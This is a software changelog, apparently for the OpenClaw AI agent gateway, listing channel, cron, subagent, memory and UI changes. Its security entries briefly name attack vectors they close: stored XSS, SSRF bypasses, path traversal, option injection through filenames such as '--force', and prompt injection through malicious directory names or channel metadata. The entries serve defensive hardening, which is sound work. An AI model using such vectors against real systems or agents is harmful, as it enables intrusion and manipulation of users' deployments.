<li>Routing: refresh bindings per message by loading config at route resolution so binding changes apply without restart. (#11372) Thanks @juanpablodlc.</li>
<li>Exec approvals: render forwarded commands in monospace for safer approval scanning. (#11937) Thanks @sebslight.</li>
<li>Config: clamp <code>maxTokens</code> to <code>contextWindow</code> to prevent invalid model configs. (#5516) Thanks @lailoo.</li>
<li>Thinking: allow xhigh for <code>github-copilot/gpt-5.2-codex</code> and <code>github-copilot/gpt-5.2</code>. (#11646) Thanks @LatencyTDH.</li>
<li>Discord: support forum/media thread-create starter messages, wire <code>message thread create --message</code>, and harden routing. (#10062) Thanks @jarvis89757.</li>
<li>Paths: structurally resolve <code>OPENCLAW_HOME</code>-derived home paths and fix Windows drive-letter handling in tool meta shortening. (#12125) Thanks @mcaxtr.</li>
<li>Memory: set Voyage embeddings <code>input_type</code> for improved retrieval. (#10818) Thanks @mcinteerj.</li>
<li>Memory/QMD: reuse default model cache across agents instead of re-downloading per agent. (#12114) Thanks @tyler6204.</li>
<li>Telegram: remove last <code>@ts-nocheck</code> from <code>bot-handlers.ts</code>, use Grammy types directly, deduplicate <code>StickerMetadata</code>. Zero <code>@ts-nocheck</code> remaining in <code>src/telegram/</code>. (#9206)</li>
<li>Telegram: remove <code>@ts-nocheck</code> from <code>bot-message.ts</code>, type deps via <code>Omit<BuildTelegramMessageContextParams></code>, widen <code>allMedia</code> to <code>TelegramMediaRef[]</code>. (#9180)</li>
<li>Onboarding: add Cloudflare AI Gateway provider setup and docs. (#7914) Thanks @roerohan.</li>
<li>Onboarding: add Moonshot (.cn) auth choice and keep the China base URL when preserving defaults. (#7180) Thanks @waynelwz.</li>
<li>Docs: clarify tmux send-keys for TUI by splitting text and Enter. (#7737) Thanks @Wangnov.</li>
<li>Docs: mirror the landing page revamp for zh-CN (features, quickstart, docs directory, network model, credits). (#8994) Thanks @joshp123.</li>
<li>Messages: add per-channel and per-account responsePrefix overrides across channels. (#9001) Thanks @mudrii.</li>
<li>Cron: add announce delivery mode for isolated jobs (CLI + Control UI) and delivery mode config.</li>
<li>Cron: default isolated jobs to announce delivery; accept ISO 8601 <code>schedule.at</code> in tool inputs.</li>
<li>Cron: hard-migrate isolated jobs to announce/none delivery; drop legacy post-to-main/payload delivery fields and <code>atMs</code> inputs.</li>
<li>Cron: delete one-shot jobs after success by default; add <code>--keep-after-run</code> for CLI.</li>
<li>Cron: suppress messaging tools during announce delivery so summaries post consistently.</li>
<li>Cron: avoid duplicate deliveries when isolated runs send messages directly.</li>
<li>Discord: unlock rich interactive agent prompts with Components v2 (buttons, selects, modals, and attachment-backed file blocks) so for native interaction through Discord. Thanks @thewilloftheshadow.</li>
<li>Plugins: expose <code>llm_input</code> and <code>llm_output</code> hook payloads so extensions can observe prompt/input context and model output usage details. (#16724) Thanks @SecondThread.</li>
<li>Subagents: nested sub-agents (sub-sub-agents) with configurable depth. Set <code>agents.defaults.subagents.maxSpawnDepth: 2</code> to allow sub-agents to spawn their own children. Includes <code>maxChildrenPerAgent</code> limit (default 5), depth-aware tool policy, and proper announce chain routing. (#14447) Thanks @tyler6204.</li>
<li>Slack/Discord/Telegram: add per-channel ack reaction overrides (account/channel-level) to support platform-specific emoji formats. (#17092) Thanks @zerone0x.</li>
<li>Cron/Gateway: add finished-run webhook delivery toggle (<code>notify</code>) and dedicated webhook auth token support (<code>cron.webhookToken</code>) for outbound cron webhook posts. (#14535) Thanks @advaitpaliwal.</li>
<li>Channels: deduplicate probe/token resolution base types across core + extensions while preserving per-channel error typing. (#16986) Thanks @iyoda and @thewilloftheshadow.</li>
<li>TUI/Gateway: handle non-streaming finals, refresh history for non-local chat runs, and avoid event gap warnings for targeted tool streams. (#8432) Thanks @gumadeiras.</li>
<li>Shell completion: auto-detect and migrate slow dynamic patterns to cached files for faster terminal startup; add completion health checks to doctor/update/onboard.</li>
<li>Telegram: honor session model overrides in inline model selection. (#8193) Thanks @gildo.</li>
<li>Web UI: fix agent model selection saves for default/non-default agents and wrap long workspace paths. Thanks @Takhoffman.</li>
<li>Web UI: resolve header logo path when <code>gateway.controlUi.basePath</code> is set. (#7178) Thanks @Yeom-JinHo.</li>
<li>Web UI: apply button styling to the new-messages indicator.</li>
<li>Security: keep untrusted channel metadata out of system prompts (Slack/Discord). Thanks @KonstantinMirin.</li>
<li>Security: enforce sandboxed media paths for message tool attachments. (#9182) Thanks @victormier.</li>
<li>Security: require explicit credentials for gateway URL overrides to prevent credential leakage. (#8113) Thanks @victormier.</li>
<li>Security: gate <code>whatsapp_login</code> tool to owner senders and default-deny non-owner contexts. (#8768) Thanks @victormier.</li>
<li>Voice call: harden webhook verification with host allowlists/proxy trust and keep ngrok loopback bypass.</li>
<li>Voice call: add regression coverage for anonymous inbound caller IDs with allowlist policy. (#8104) Thanks @victormier.</li>
<li>Cron: accept epoch timestamps and 0ms durations in CLI <code>--at</code> parsing.</li>
<li>Cron: reload store data when the store file is recreated or mtime changes.</li>
<li>Cron: deliver announce runs directly, honor delivery mode, and respect wakeMode for summaries. (#8540) Thanks @tyler6204.</li>
<li>Telegram: include forward_from_chat metadata in forwarded messages and harden cron delivery target checks. (#8392) Thanks @Glucksberg.</li>
<li>macOS: fix cron payload summary rendering and ISO 8601 formatter concurrency safety.</li>
<li>Security: replace deprecated SHA-1 sandbox configuration hashing with SHA-256 for deterministic sandbox cache identity and recreation checks. Thanks @kexinoh.</li>
<li>Security/Logging: redact Telegram bot tokens from error messages and uncaught stack traces to prevent accidental secret leakage into logs. Thanks @aether-ai-agent.</li>
<li>Sandbox: preserve array order in config hashing so order-sensitive Docker/browser settings trigger container recreation correctly. Thanks @kexinoh.</li>
<li>Gateway/Security: redact sensitive session/path details from <code>status</code> responses for non-admin clients; full details remain available to <code>operator.admin</code>. (#8590) Thanks @fr33d3m0n.</li>
<li>Gateway/Control UI: preserve requested operator scopes for Control UI bypass modes (<code>allowInsecureAuth</code> / <code>dangerouslyDisableDeviceAuth</code>) when device identity is unavailable, preventing false <code>missing scope</code> failures on authenticated LAN/HTTP operator sessions. (#17682) Thanks @leafbird.</li>
<li>LINE/Security: fail closed on webhook startup when channel token or channel secret is missing, and treat LINE accounts as configured only when both are present. (#17587) Thanks @davidahmann.</li>
<li>Skills/Security: restrict <code>download</code> installer <code>targetDir</code> to the per-skill tools directory to prevent arbitrary file writes. Thanks @Adam55A-code.</li>
<li>Skills/Linux: harden go installer fallback on apt-based systems by handling root/no-sudo environments safely, doing best-effort apt index refresh, and returning actionable errors instead of failing with spawn errors. (#17687) Thanks @mcrolly.</li>
<li>Web Fetch/Security: cap downloaded response body size before HTML parsing to prevent memory exhaustion from oversized or deeply nested pages. Thanks @xuemian168.</li>
<li>Config/Gateway: make sensitive-key whitelist suffix matching case-insensitive while preserving <code>passwordFile</code> path exemptions, preventing accidental redaction of non-secret config values like <code>maxTokens</code> and IRC password-file paths. (#16042) Thanks @akramcodez.</li>
<li>Dev tooling: harden git <code>pre-commit</code> hook against option injection from malicious filenames (for example <code>--force</code>), preventing accidental staging of ignored files. Thanks @mrthankyou.</li>
<li>Gateway/Agent: reject malformed <code>agent:</code>-prefixed session keys (for example, <code>agent:main</code>) in <code>agent</code> and <code>agent.identity.get</code> instead of silently resolving them to the default agent, preventing accidental cross-session routing. (#15707) Thanks @rodrigouroz.</li>
<li>Gateway/Chat: harden <code>chat.send</code> inbound message handling by rejecting null bytes, stripping unsafe control characters, and normalizing Unicode to NFC before dispatch. (#8593) Thanks @fr33d3m0n.</li>
<li>Gateway/Send: return an actionable error when <code>send</code> targets internal-only <code>webchat</code>, guiding callers to use <code>chat.send</code> or a deliverable channel. (#15703) Thanks @rodrigouroz.</li>
<li>Control UI: prevent stored XSS via assistant name/avatar by removing inline script injection, serving bootstrap config as JSON, and enforcing <code>script-src 'self'</code>. Thanks @Adam55A-code.</li>
<li>Agents/Security: sanitize workspace paths before embedding into LLM prompts (strip Unicode control/format chars) to prevent instruction injection via malicious directory names. Thanks @aether-ai-agent.</li>
<li>Agents/Sandbox: clarify system prompt path guidance so sandbox <code>bash/exec</code> uses container paths (for example <code>/workspace</code>) while file tools keep host-bridge mapping, avoiding first-attempt path misses from host-only absolute paths in sandbox command execution. (#17693) Thanks @app/juniordevbot.</li>
<li>Agents/Context: apply configured model <code>contextWindow</code> overrides after provider discovery so <code>lookupContextTokens()</code> honors operator config values (including discovery-failure paths). (#17404) Thanks @michaelbship and @vignesh07.</li>
<li>Agents/Context: derive <code>lookupContextTokens()</code> from auth-available model metadata and keep the smallest discovered context window for duplicate model ids, preventing cross-provider cache collisions from overestimating session context limits. (#17586) Thanks @githabideri and @vignesh07.</li>
<li>Agents/OpenAI: force <code>store=true</code> for direct OpenAI Responses/Codex runs to preserve multi-turn server-side conversation state, while leaving proxy/non-OpenAI endpoints unchanged. (#16803) Thanks @mark9232 and @vignesh07.</li>
<li>Memory/FTS: make <code>buildFtsQuery</code> Unicode-aware so non-ASCII queries (including CJK) produce keyword tokens instead of falling back to vector-only search. (#17672) Thanks @KinGP5471.</li>
<li>Auto-reply/Compaction: resolve <code>memory/YYYY-MM-DD.md</code> placeholders with timezone-aware runtime dates and append a <code>Current time:</code> line to memory-flush turns, preventing wrong-year memory filenames without making the system prompt time-variant. (#17603, #17633) Thanks @nicholaspapadam-wq and @vignesh07.</li>
<li>Agents: return an explicit timeout error reply when an embedded run times out before producing any payloads, preventing silent dropped turns during slow cache-refresh transitions. (#16659) Thanks @liaosvcaf and @vignesh07.</li>
<li>Group chats: always inject group chat context (name, participants, reply guidance) into the system prompt on every turn, not just the first. Prevents the model from losing awareness of which group it's in and incorrectly using the message tool to send to the same group. (#14447) Thanks @tyler6204.</li>
<li>Browser/Agents: when browser control service is unavailable, return explicit non-retry guidance (instead of "try again") so models do not loop on repeated browser tool calls until timeout. (#17673) Thanks @austenstone.</li>
<li>Subagents: use child-run-based deterministic announce idempotency keys across direct and queued delivery paths (with legacy queued-item fallback) to prevent duplicate announce retries without collapsing distinct same-millisecond announces. (#17150) Thanks @widingmarcus-cyber.</li>
<li>Subagents/Models: preserve <code>agents.defaults.model.fallbacks</code> when subagent sessions carry a model override, so subagent runs fail over to configured fallback models instead of retrying only the overridden primary model.</li>
<li>Telegram: omit <code>message_thread_id</code> for DM sends/draft previews and keep forum-topic handling (<code>id=1</code> general omitted, non-general kept), preventing DM failures with <code>400 Bad Request: message thread not found</code>. (#10942) Thanks @garnetlyx.</li>
<li>Telegram: replace inbound <code><media:audio></code> placeholder with successful preflight voice transcript in message body context, preventing placeholder-only prompt bodies for mention-gated voice messages. (#16789) Thanks @Limitless2023.</li>
<li>Telegram: retry inbound media <code>getFile</code> calls (3 attempts with backoff) and gracefully fall back to placeholder-only processing when retries fail, preventing dropped voice/media messages on transient Telegram network errors. (#16154) Thanks @yinghaosang.</li>
<li>Telegram: finalize streaming preview replies in place instead of sending a second final message, preventing duplicate Telegram assistant outputs at stream completion. (#17218) Thanks @obviyus.</li>
<li>Discord: preserve channel session continuity when runtime payloads omit <code>message.channelId</code> by falling back to event/raw <code>channel_id</code> values for routing/session keys, so same-channel messages keep history across turns/restarts. Also align diagnostics so active Discord runs no longer appear as <code>sessionKey=unknown</code>. (#17622) Thanks @shakkernerd.</li>
<li>Discord: dedupe native skill commands by skill name in multi-agent setups to prevent duplicated slash commands with <code>_2</code> suffixes. (#17365) Thanks @seewhyme.</li>
<li>Discord: ensure role allowlist matching uses raw role IDs for message routing authorization. Thanks @xinhuagu.</li>
<li>Web UI/Agents: hide <code>BOOTSTRAP.md</code> in the Agents Files list after onboarding is completed, avoiding confusing missing-file warnings for completed workspaces. (#17491) Thanks @gumadeiras.</li>
<li>Auto-reply/WhatsApp/TUI/Web: when a final assistant message is <code>NO_REPLY</code> and a messaging tool send succeeded, mirror the delivered messaging-tool text into session-visible assistant output so TUI/Web no longer show <code>NO_REPLY</code> placeholders. (#7010) Thanks @Morrowind-Xie.</li>
<li>Cron: infer <code>payload.kind="agentTurn"</code> for model-only <code>cron.update</code> payload patches, so partial agent-turn updates do not fail validation when <code>kind</code> is omitted. (#15664) Thanks @rodrigouroz.</li>
<li>TUI: make searchable-select filtering and highlight rendering ANSI-aware so queries ignore hidden escape codes and no longer corrupt ANSI styling sequences during match highlighting. (#4519) Thanks @bee4come.</li>
<li>TUI/Windows: coalesce rapid single-line submit bursts in Git Bash into one multiline message as a fallback when bracketed paste is unavailable, preventing pasted multiline text from being split into multiple sends. (#4986) Thanks @adamkane.</li>
<li>TUI: suppress false <code>(no output)</code> placeholders for non-local empty final events during concurrent runs, preventing external-channel replies from showing empty assistant bubbles while a local run is still streaming. (#5782) Thanks @LagWizard and @vignesh07.</li>
<li>TUI: preserve copy-sensitive long tokens (URLs/paths/file-like identifiers) during wrapping and overflow sanitization so wrapped output no longer inserts spaces that corrupt copy/paste values. (#17515, #17466, #17505) Thanks @abe238, @trevorpan, and @JasonCry.</li>
<li>CLI/Build: make legacy daemon CLI compatibility shim generation tolerant of minimal tsdown daemon export sets, while preserving restart/register compatibility aliases and surfacing explicit errors for unavailable legacy daemon commands. Thanks @vignesh07.</li>
</ul>
<p><a href="https://github.com/openclaw/openclaw/blob/main/CHANGELOG.md">View full changelog</a></p>
<li>Discord: send voice messages with waveform previews from local audio files (including silent delivery). (#7253) Thanks @nyanjou.</li>
<li>Discord: add configurable presence status/activity/type/url (custom status defaults to activity text). (#10855) Thanks @h0tp-ftw.</li>
<li>Slack/Plugins: add thread-ownership outbound gating via <code>message_sending</code> hooks, including @-mention bypass tracking and Slack outbound hook wiring for cancel/modify behavior. (#15775) Thanks @DarlingtonDeveloper.</li>
<li>Agents: add synthetic catalog support for <code>hf:zai-org/GLM-5</code>. (#15867) Thanks @battman21.</li>
<li>Skills: remove duplicate <code>local-places</code> Google Places skill/proxy and keep <code>goplaces</code> as the single supported Google Places path.</li>
<li>Outbound: add a write-ahead delivery queue with crash-recovery retries to prevent lost outbound messages after gateway restarts. (#15636) Thanks @nabbilkhan, @thewilloftheshadow.</li>
<li>Auto-reply/Threading: auto-inject implicit reply threading so <code>replyToMode</code> works without requiring model-emitted <code>[[reply_to_current]]</code>, while preserving <code>replyToMode: "off"</code> behavior for implicit Slack replies and keeping block-streaming chunk coalescing stable under <code>replyToMode: "first"</code>. (#14976) Thanks @Diaspar4u.</li>
<li>Outbound/Threading: pass <code>replyTo</code> and <code>threadId</code> from <code>message send</code> tool actions through the core outbound send path to channel adapters, preserving thread/reply routing. (#14948) Thanks @mcaxtr.</li>
<li>Auto-reply/Media: allow image-only inbound messages (no caption) to reach the agent instead of short-circuiting as empty text, and preserve thread context in queued/followup prompt bodies for media-only runs. (#11916) Thanks @arosstale.</li>
<li>Discord: route autoThread replies to existing threads instead of the root channel. (#8302) Thanks @gavinbmoore, @thewilloftheshadow.</li>
<li>Web UI: add <code>img</code> to DOMPurify allowed tags and <code>src</code>/<code>alt</code> to allowed attributes so markdown images render in webchat instead of being stripped. (#15437) Thanks @lailoo.</li>
<li>Telegram/Matrix: treat MP3 and M4A (including <code>audio/mp4</code>) as voice-compatible for <code>asVoice</code> routing, and keep WAV/AAC falling back to regular audio sends. (#15438) Thanks @azade-c.</li>
<li>WhatsApp: preserve outbound document filenames for web-session document sends instead of always sending <code>"file"</code>. (#15594) Thanks @TsekaLuk.</li>
<li>Telegram: cap bot menu registration to Telegram's 100-command limit with an overflow warning while keeping typed hidden commands available. (#15844) Thanks @battman21.</li>
<li>Telegram: scope skill commands to the resolved agent for default accounts so <code>setMyCommands</code> no longer triggers <code>BOT_COMMANDS_TOO_MUCH</code> when multiple agents are configured. (#15599)</li>
<li>Discord: avoid misrouting numeric guild allowlist entries to <code>/channels/<guildId></code> by prefixing guild-only inputs with <code>guild:</code> during resolution. (#12326) Thanks @headswim.</li>
<li>MS Teams: preserve parsed mention entities/text when appending OneDrive fallback file links, and accept broader real-world Teams mention ID formats (<code>29:...</code>, <code>8:orgid:...</code>) while still rejecting placeholder patterns. (#15436) Thanks @hyojin.</li>
<li>Media: classify <code>text/*</code> MIME types as documents in media-kind routing so text attachments are no longer treated as unknown. (#12237) Thanks @arosstale.</li>
<li>Inbound/Web UI: preserve literal <code>\n</code> sequences when normalizing inbound text so Windows paths like <code>C:\\Work\\nxxx\\README.md</code> are not corrupted. (#11547) Thanks @mcaxtr.</li>
<li>TUI/Streaming: preserve richer streamed assistant text when final payload drops pre-tool-call text blocks, while keeping non-empty final payload authoritative for plain-text updates. (#15452) Thanks @TsekaLuk.</li>
<li>Providers/MiniMax: switch implicit MiniMax API-key provider from <code>openai-completions</code> to <code>anthropic-messages</code> with the correct Anthropic-compatible base URL, fixing <code>invalid role: developer (2013)</code> errors on MiniMax M2.5. (#15275) Thanks @lailoo.</li>
<li>Ollama/Agents: use resolved model/provider base URLs for native <code>/api/chat</code> streaming (including aliased providers), normalize <code>/v1</code> endpoints, and forward abort + <code>maxTokens</code> stream options for reliable cancellation and token caps. (#11853) Thanks @BrokenFinger98.</li>
<li>OpenAI Codex/Spark: implement end-to-end <code>gpt-5.3-codex-spark</code> support across fallback/thinking/model resolution and <code>models list</code> forward-compat visibility. (#14990, #15174) Thanks @L-U-C-K-Y, @loiie45e.</li>
<li>Agents/Codex: allow <code>gpt-5.3-codex-spark</code> in forward-compat fallback, live model filtering, and thinking presets, and fix model-picker recognition for spark. (#14990) Thanks @L-U-C-K-Y.</li>
<li>Models/Codex: resolve configured <code>openai-codex/gpt-5.3-codex-spark</code> through forward-compat fallback during <code>models list</code>, so it is not incorrectly tagged as missing when runtime resolution succeeds. (#15174) Thanks @loiie45e.</li>
<li>OpenAI Codex/Auth: bridge OpenClaw OAuth profiles into <code>pi</code> <code>auth.json</code> so model discovery and models-list registry resolution can use Codex OAuth credentials. (#15184) Thanks @loiie45e.</li>
<li>Auth/OpenAI Codex: share OAuth login handling across onboarding and <code>models auth login --provider openai-codex</code>, keep onboarding alive when OAuth fails, and surface a direct OAuth help note instead of terminating the wizard. (#15406, follow-up to #14552) Thanks @zhiluo20.</li>
<li>Onboarding/Providers: add vLLM as an onboarding provider with model discovery, auth profile wiring, and non-interactive auth-choice validation. (#12577) Thanks @gejifeng.</li>
<li>Onboarding/Providers: preserve Hugging Face auth intent in auth-choice remapping (<code>tokenProvider=huggingface</code> with <code>authChoice=apiKey</code>) and skip env-override prompts when an explicit token is provided. (#13472) Thanks @Josephrp.</li>
<li>Onboarding/CLI: restore terminal state without resuming paused <code>stdin</code>, so onboarding exits cleanly after choosing Web UI and the installer returns instead of appearing stuck.</li>
<li>Signal/Install: auto-install <code>signal-cli</code> via Homebrew on non-x64 Linux architectures, avoiding x86_64 native binary <code>Exec format error</code> failures on arm64/arm hosts. (#15443) Thanks @jogvan-k.</li>
<li>macOS Voice Wake: fix a crash in trigger trimming for CJK/Unicode transcripts by matching and slicing on original-string ranges instead of transformed-string indices. (#11052) Thanks @Flash-LHR.</li>
<li>Mattermost (plugin): retry websocket monitor connections with exponential backoff and abort-aware teardown so transient connect failures no longer permanently stop monitoring. (#14962) Thanks @mcaxtr.</li>
<li>Discord/Agents: apply channel/group <code>historyLimit</code> during embedded-runner history compaction to prevent long-running channel sessions from bypassing truncation and overflowing context windows. (#11224) Thanks @shadril238.</li>
<li>Outbound targets: fail closed for WhatsApp/Twitch/Google Chat fallback paths so invalid or missing targets are dropped instead of rerouted, and align resolver hints with strict target requirements. (#13578) Thanks @mcaxtr.</li>
<li>Gateway/Restart: clear stale command-queue and heartbeat wake runtime state after SIGUSR1 in-process restarts to prevent zombie gateway behavior where queued work stops draining. (#15195) Thanks @joeykrug.</li>
<li>Heartbeat: prevent scheduler silent-death races during runner reloads, preserve retry cooldown backoff under wake bursts, and prioritize user/action wake causes over interval/retry reasons when coalescing. (#15108) Thanks @joeykrug.</li>
<li>Heartbeat: allow explicit wake (<code>wake</code>) and hook wake (<code>hook:*</code>) reasons to run even when <code>HEARTBEAT.md</code> is effectively empty so queued system events are processed. (#14527) Thanks @arosstale.</li>
<li>Auto-reply/Heartbeat: strip sentence-ending <code>HEARTBEAT_OK</code> tokens even when followed by up to 4 punctuation characters, while preserving surrounding sentence punctuation. (#15847) Thanks @Spacefish.</li>
<li>Agents/Heartbeat: stop auto-creating <code>HEARTBEAT.md</code> during workspace bootstrap so missing files continue to run heartbeat as documented. (#11766) Thanks @shadril238.</li>
<li>Sessions/Agents: pass <code>agentId</code> when resolving existing transcript paths in reply runs so non-default agents and heartbeat/chat handlers no longer fail with <code>Session file path must be within sessions directory</code>. (#15141) Thanks @Goldenmonstew.</li>
<li>Sessions/Agents: pass <code>agentId</code> through status and usage transcript-resolution paths (auto-reply, gateway usage APIs, and session cost/log loaders) so non-default agents can resolve absolute session files without path-validation failures. (#15103) Thanks @jalehman.</li>
<li>Sessions: archive previous transcript files on <code>/new</code> and <code>/reset</code> session resets (including gateway <code>sessions.reset</code>) so stale transcripts do not accumulate on disk. (#14869) Thanks @mcaxtr.</li>
<li>Status/Sessions: stop clamping derived <code>totalTokens</code> to context-window size, keep prompt-token snapshots wired through session accounting, and surface context usage as unknown when fresh snapshot data is missing to avoid false 100% reports. (#15114) Thanks @echoVic.</li>
<li>CLI/Completion: route plugin-load logs to stderr and write generated completion scripts directly to stdout to avoid <code>source <(openclaw completion ...)</code> corruption. (#15481) Thanks @arosstale.</li>
<li>CLI: lazily load outbound provider dependencies and remove forced success-path exits so commands terminate naturally without killing intentional long-running foreground actions. (#12906) Thanks @DrCrinkle.</li>
<li>Security/Gateway + ACP: block high-risk tools (<code>sessions_spawn</code>, <code>sessions_send</code>, <code>gateway</code>, <code>whatsapp_login</code>) from HTTP <code>/tools/invoke</code> by default with <code>gateway.tools.{allow,deny}</code> overrides, and harden ACP permission selection to fail closed when tool identity/options are ambiguous while supporting <code>allow_always</code>/<code>reject_always</code>. (#15390) Thanks @aether-ai-agent.</li>
<li>Security/Gateway: breaking default-behavior change - canvas IP-based auth fallback now only accepts machine-scoped addresses (RFC1918, link-local, ULA IPv6, CGNAT); public-source IP matches now require bearer token auth. (#14661) Thanks @sumleo.</li>
<li>Security/Link understanding: block loopback/internal host patterns and private/mapped IPv6 addresses in extracted URL handling to close SSRF bypasses in link CLI flows. (#15604) Thanks @AI-Reviewer-QS.</li>
<li>Security/Browser: constrain <code>POST /trace/stop</code>, <code>POST /wait/download</code>, and <code>POST /download</code> output paths to OpenClaw temp roots and reject traversal/escape paths.</li>
<li>Security/Canvas: serve A2UI assets via the shared safe-open path (<code>openFileWithinRoot</code>) to close traversal/TOCTOU gaps, with traversal and symlink regression coverage. (#10525) Thanks @abdelsfane.</li>
<li>Security/WhatsApp: enforce <code>0o600</code> on <code>creds.json</code> and <code>creds.json.bak</code> on save/backup/restore paths to reduce credential file exposure. (#10529) Thanks @abdelsfane.</li>
<li>Security/Gateway: sanitize and truncate untrusted WebSocket header values in pre-handshake close logs to reduce log-poisoning risk. Thanks @thewilloftheshadow.</li>
<li>Security/Audit: add misconfiguration checks for sandbox Docker config with sandbox mode off, ineffective <code>gateway.nodes.denyCommands</code> entries, global minimal tool-profile overrides by agent profiles, and permissive extension-plugin tool reachability.</li>
<li>Security/Audit: distinguish external webhooks (<code>hooks.enabled</code>) from internal hooks (<code>hooks.internal.enabled</code>) in attack-surface summaries to avoid false exposure signals when only internal hooks are enabled. (#13474) Thanks @mcaxtr.</li>
<li>Security/Onboarding: clarify multi-user DM isolation remediation with explicit <code>openclaw config set session.dmScope ...</code> commands in security audit, doctor security, and channel onboarding guidance. (#13129) Thanks @VintLin.</li>
<li>Agents/Nodes: harden node exec approval decision handling in the <code>nodes</code> tool run path by failing closed on unexpected approval decisions, and add regression coverage for approval-required retry/deny/timeout flows. (#4726) Thanks @rmorse.</li>
<li>Android/Nodes: harden <code>app.update</code> by requiring HTTPS and gateway-host URL matching plus SHA-256 verification, stream URL camera downloads to disk with size guards to avoid memory spikes, and stop signing release builds with debug keys. (#13541) Thanks @smartprogrammer93.</li>
<li>Routing: enforce strict binding-scope matching across peer/guild/team/roles so peer-scoped Discord/Slack bindings no longer match unrelated guild/team contexts or fallback tiers. (#15274) Thanks @lailoo.</li>
<li>Exec/Allowlist: allow multiline heredoc bodies (<code><<</code>, <code><<-</code>) while keeping multiline non-heredoc shell commands blocked, so exec approval parsing permits heredoc input safely without allowing general newline command chaining. (#13811) Thanks @mcaxtr.</li>
<li>Config: preserve <code>${VAR}</code> env references when writing config files so <code>openclaw config set/apply/patch</code> does not persist secrets to disk. Thanks @thewilloftheshadow.</li>
<li>Config: remove a cross-request env-snapshot race in config writes by carrying read-time env context into write calls per request, preserving <code>${VAR}</code> refs safely under concurrent gateway config mutations. (#11560) Thanks @akoscz.</li>
<li>Config: log overwrite audit entries (path, backup target, and hash transition) whenever an existing config file is replaced, improving traceability for unexpected config clobbers.</li>
<li>Config: keep legacy audio transcription migration strict by rejecting non-string/unsafe command tokens while still migrating valid custom script executables. (#5042) Thanks @shayan919293.</li>
<li>Config: accept <code>$schema</code> key in config file so JSON Schema editor tooling works without validation errors. (#14998)</li>
<li>Gateway/Tools Invoke: sanitize <code>/tools/invoke</code> execution failures while preserving <code>400</code> for tool input errors and returning <code>500</code> for unexpected runtime failures, with regression coverage and docs updates. (#13185) Thanks @davidrudduck.</li>
<li>Gateway/Hooks: preserve <code>408</code> for hook request-body timeout responses while keeping bounded auth-failure cache eviction behavior, with timeout-status regression coverage. (#15848) Thanks @AI-Reviewer-QS.</li>
<li>Plugins/Hooks: fire <code>before_tool_call</code> hook exactly once per tool invocation in embedded runs by removing duplicate dispatch paths while preserving parameter mutation semantics. (#15635) Thanks @lailoo.</li>
<li>Agents/Transcript policy: sanitize OpenAI/Codex tool-call ids during transcript policy normalization to prevent invalid tool-call identifiers from propagating into session history. (#15279) Thanks @divisonofficer.</li>
<li>Agents/Image tool: cap image-analysis completion <code>maxTokens</code> by model capability (<code>min(4096, model.maxTokens)</code>) to avoid over-limit provider failures while still preventing truncation. (#11770) Thanks @detecti1.</li>
<li>Agents/Compaction: centralize exec default resolution in the shared tool factory so per-agent <code>tools.exec</code> overrides (host/security/ask/node and related defaults) persist across compaction retries. (#15833) Thanks @napetrov.</li>
<li>Gateway/Agents: stop injecting a phantom <code>main</code> agent into gateway agent listings when <code>agents.list</code> explicitly excludes it. (#11450) Thanks @arosstale.</li>
<li>Process/Exec: avoid shell execution for <code>.exe</code> commands on Windows so env overrides work reliably in <code>runCommandWithTimeout</code>. Thanks @thewilloftheshadow.</li>
<li>Daemon/Windows: preserve literal backslashes in <code>gateway.cmd</code> command parsing so drive and UNC paths are not corrupted in runtime checks and doctor entrypoint comparisons. (#15642) Thanks @arosstale.</li>
<li>Sandbox: pass configured <code>sandbox.docker.env</code> variables to sandbox containers at <code>docker create</code> time. (#15138) Thanks @stevebot-alive.</li>
<li>Voice Call: route webhook runtime event handling through shared manager event logic so rejected inbound hangups are idempotent in production, with regression tests for duplicate reject events and provider-call-ID remapping parity. (#15892) Thanks @dcantu96.</li>
<li>Cron: add regression coverage for announce-mode isolated jobs so runs that already report <code>delivered: true</code> do not enqueue duplicate main-session relays, including delivery configs where <code>mode</code> is omitted and defaults to announce. (#15737) Thanks @brandonwise.</li>
<li>Cron: honor <code>deleteAfterRun</code> in isolated announce delivery by mapping it to subagent announce cleanup mode, so cron run sessions configured for deletion are removed after completion. (#15368) Thanks @arosstale.</li>
<li>Web tools/web_fetch: prefer <code>text/markdown</code> responses for Cloudflare Markdown for Agents, add <code>cf-markdown</code> extraction for markdown bodies, and redact fetched URLs in <code>x-markdown-tokens</code> debug logs to avoid leaking raw paths/query params. (#15376) Thanks @Yaxuan42.</li>
<li>Memory: switch default local embedding model to the QAT <code>embeddinggemma-300m-qat-Q8_0</code> variant for better quality at the same footprint. (#15429) Thanks @azade-c.</li>
<li>Docs/Mermaid: remove hardcoded Mermaid init theme blocks from four docs diagrams so dark mode inherits readable theme defaults. (#15157) Thanks @heytulsiprasad.</li>
</ul>
<p><a href="https://github.com/openclaw/openclaw/blob/main/CHANGELOG.md">View full changelog</a></p>
Some files were not shown because too many files have changed in this diff
Show More
Reference in New Issue
Block a user
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.